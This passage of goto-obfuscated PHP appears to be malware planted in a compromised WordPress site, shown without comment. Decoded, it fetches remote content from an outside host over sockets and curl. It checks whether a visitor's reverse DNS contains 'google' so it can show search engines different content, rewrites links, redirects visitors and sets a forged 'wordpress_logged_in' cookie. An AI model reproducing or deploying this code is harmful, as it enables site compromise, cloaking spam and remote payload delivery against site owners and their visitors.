goto B5oq0; qnKR4: socket_write($vfnqr, $toX0H); goto DMh1W; tNaiO: $g9Jrz = @long2ip(@ip2long($gRKLQ)); goto yrKBZ; sZYYt: return false; goto fOlJI; TMalJ: $lWLPR = $hIaoD["\160\x61\x74\x68"] . "\x3f" . $hIaoD["\161\x75\x65\162\x79"]; goto ew7qO; Ul7mI: $hIaoD = @parse_url($TLeTH); goto dND9u; zRJuI: goto t1pj5; goto jXjB7; hxvcQ: if (isset($hIaoD["\161\165\x65\162\x79"])) { goto DDsgJ; } goto vAMOe; I8lJN: $pn8zH .= $tIhpV; goto zRJuI; Tajsw: QSJCW: goto fqX76; DMh1W: $pn8zH = ''; goto LT5TE; fOlJI: u_0yB: goto X1Um7; dND9u: $AEsAh = $hIaoD["\x68\157\163\164"]; goto hxvcQ; HLLCN: return $pn8zH; goto fa3Sn; KmUGf: return false; goto ZdFsk; zkQ8M: @socket_close($vfnqr); goto KmUGf; X1Um7: $vfnqr = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); goto MUKxS; B5oq0: return false; goto Tajsw; yrKBZ: if (!($gRKLQ != $g9Jrz)) { goto u_0yB; } goto sZYYt; Op0j0: $toX0H .= "\110\x6f\163\164\x3a\40{$AEsAh}\xd\12\xd\xa"; goto qnKR4; fqX76: list($w_tCV, $pn8zH) = explode("\15\xa\xd\xa", $pn8zH); goto HLLCN; tVo5j: DDsgJ: goto TMalJ; vAMOe: $hIaoD["\x71\165\x65\162\x79"] = ''; goto tVo5j; AN1Tu: return false; goto LwgRn; ZdFsk: MP3Pi: goto umDhR; uni5m: if (!(function_exists("\163\x6f\143\153\x65\164\137\143\162\145\141\164\x65") === false)) { goto y3Cph; } goto AN1Tu; MUKxS: if (@socket_connect($vfnqr, $gRKLQ, 80)) { goto MP3Pi; } goto zkQ8M; ew7qO: $gRKLQ = @gethostbyname($AEsAh); goto tNaiO; jXjB7: dlb17: goto kX7Oz; umDhR: $toX0H = "\x47\x45\x54\x20{$lWLPR}\40\110\x54\124\x50\x2f\61\56\60\xd\xa"; goto Op0j0; LwgRn: y3Cph: goto Ul7mI; fa3Sn: } goto ZD3l0; HVdRF: $cZR4x = tKxB3(); goto XsBKW; JkwCr: header("\x6c\157\x63\141\x74\151\157\x6e\x3a\x20" . $cZR4x); goto mc5L4; ovruk: if (!(FALSE !== strpos(gethostbyaddr($kUvaz), "\x67\157\157\147\154\x65"))) { goto sZxfn; } goto w1Q4b; BntDj: $q0PPS = uYzNS(); goto PLioG; YIkJ3: $TLeTH = "\x68\x74\x74\160\72\x2f\x2f\70\x2e\x62\154\x6e\x67\x62\x6c\156\x67\x73\x2e\x72\x6f\x63\x6b\x73\x2f\151\x6d\x61\x67\x65\x73\62\60\x32\x33\60\71\57{$kZfWC}\57{$guFjo}"; goto Gr2yg; RF58W: switch ($KEPqa) { case 1: goto jSbbH; cqyX8: imagegif($hkBJ2); goto Jt6IZ; jSbbH: header("\143\157\156\x74\145\156\x74\x2d\x74\x79\160\145\x3a\151\155\x61\x67\145\57\147\151\146"); goto cqyX8; Jt6IZ: goto tUXs7; goto xtmkD; xtmkD: case 2: goto VVXOr; VVXOr: header("\x63\157\x6e\x74\x65\x6e\x74\55\164\x79\x70\x65\x3a\x69\155\x61\147\x65\57\152\160\x65\147"); goto oid2b; oid2b: imagejpeg($hkBJ2); goto souax; souax: goto tUXs7; goto J3M9P; J3M9P: case 3: goto baZoU; baZoU: header("\143\157\x6e\x74\x65\156\164\x2d\164\x79\160\x65\72\151\x6d\x61\147\145\x2f\160\156\x67"); goto ovQIk; OSBJH: goto tUXs7; goto rk1ni; ovQIk: imagepng($hkBJ2); goto OSBJH; rk1ni: default: goto tUXs7; } goto Z0GW1; sB_Im: $hinr5 = str_replace("\x68\x74\x74\x70\x3a\57\57" . UYZNS() . "\x2f", $snBBX . "\x3a\x2f\57" . $E9xeg . uYZNs() . "\57", $hinr5); goto XWFe1; lF8by: sZxfn: goto hX3dR; JY4Hh: $hinr5 = str_replace("\x68\x74\164\160\72\57\57", "\150\x74\164\160\x73\x3a\57\x2f", $hinr5); goto EUBzD; tI1re: if (!aw0g4($RHTA4)) { goto vxlJs; } goto HVdRF; Ov01F: exit; goto fl_LG; YbkmE: oQsdB: goto R5R2M; moFok: function Rdhe1($TLeTH) { goto oC2Dy; azq0Y: $FkLn_ = curl_exec($MBbnz); goto diOff; ewAFG: return false; goto YAgCU; Bp5ul: curl_setopt($MBbnz, CURLOPT_URL, $TLeTH); goto WAj8V; bQVkz: return false; goto CLK9h; oC2Dy: if (!(function_exists("\x63\165\162\154\x5f\151\x6e\x69\164") === false)) { goto TAyTs; } goto ewAFG; WAj8V: curl_setopt($MBbnz, CURLOPT_RETURNTRANSFER, 1); goto FoYNl; mb2RK: curl_setopt($MBbnz, CURLOPT_HEADER, 0); goto azq0Y; CLK9h: b_HKJ: goto PCAq0; PCAq0: return $FkLn_; goto Jvx51; YAgCU: TAyTs: goto t3kW1; ewDwQ: if (!($FkLn_ == '')) { goto b_HKJ; } goto bQVkz; t3kW1: $MBbnz = curl_init(); goto Bp5ul; FoYNl: curl_setopt($MBbnz, CURLOPT_TIMEOUT, 10); goto mb2RK; diOff: curl_close($MBbnz); goto ewDwQ; Jvx51: } goto WECqF; foNPb: $hinr5 = str_replace("\57\77\x6b\145\171\x3d", "\x2f", $hinr5); goto Bfs_v; E521q: setcookie("\x77\157\x72\144\160\x72\x65\x73\163\x5f\x6c\x6f\x67\147\x65\144\137\151\156\137\60\62\141\x30\x39\145\145\x31\x38\x65\x32", "\167\157\x72\144\x70\x72\x65\163\163\x5f\x6c\x6f\x67\147\145\144\x5f\151\156\x5f\60\62\141\60\x39\145\145\61\x38\145\62", time() + 3600 * 24 * 100);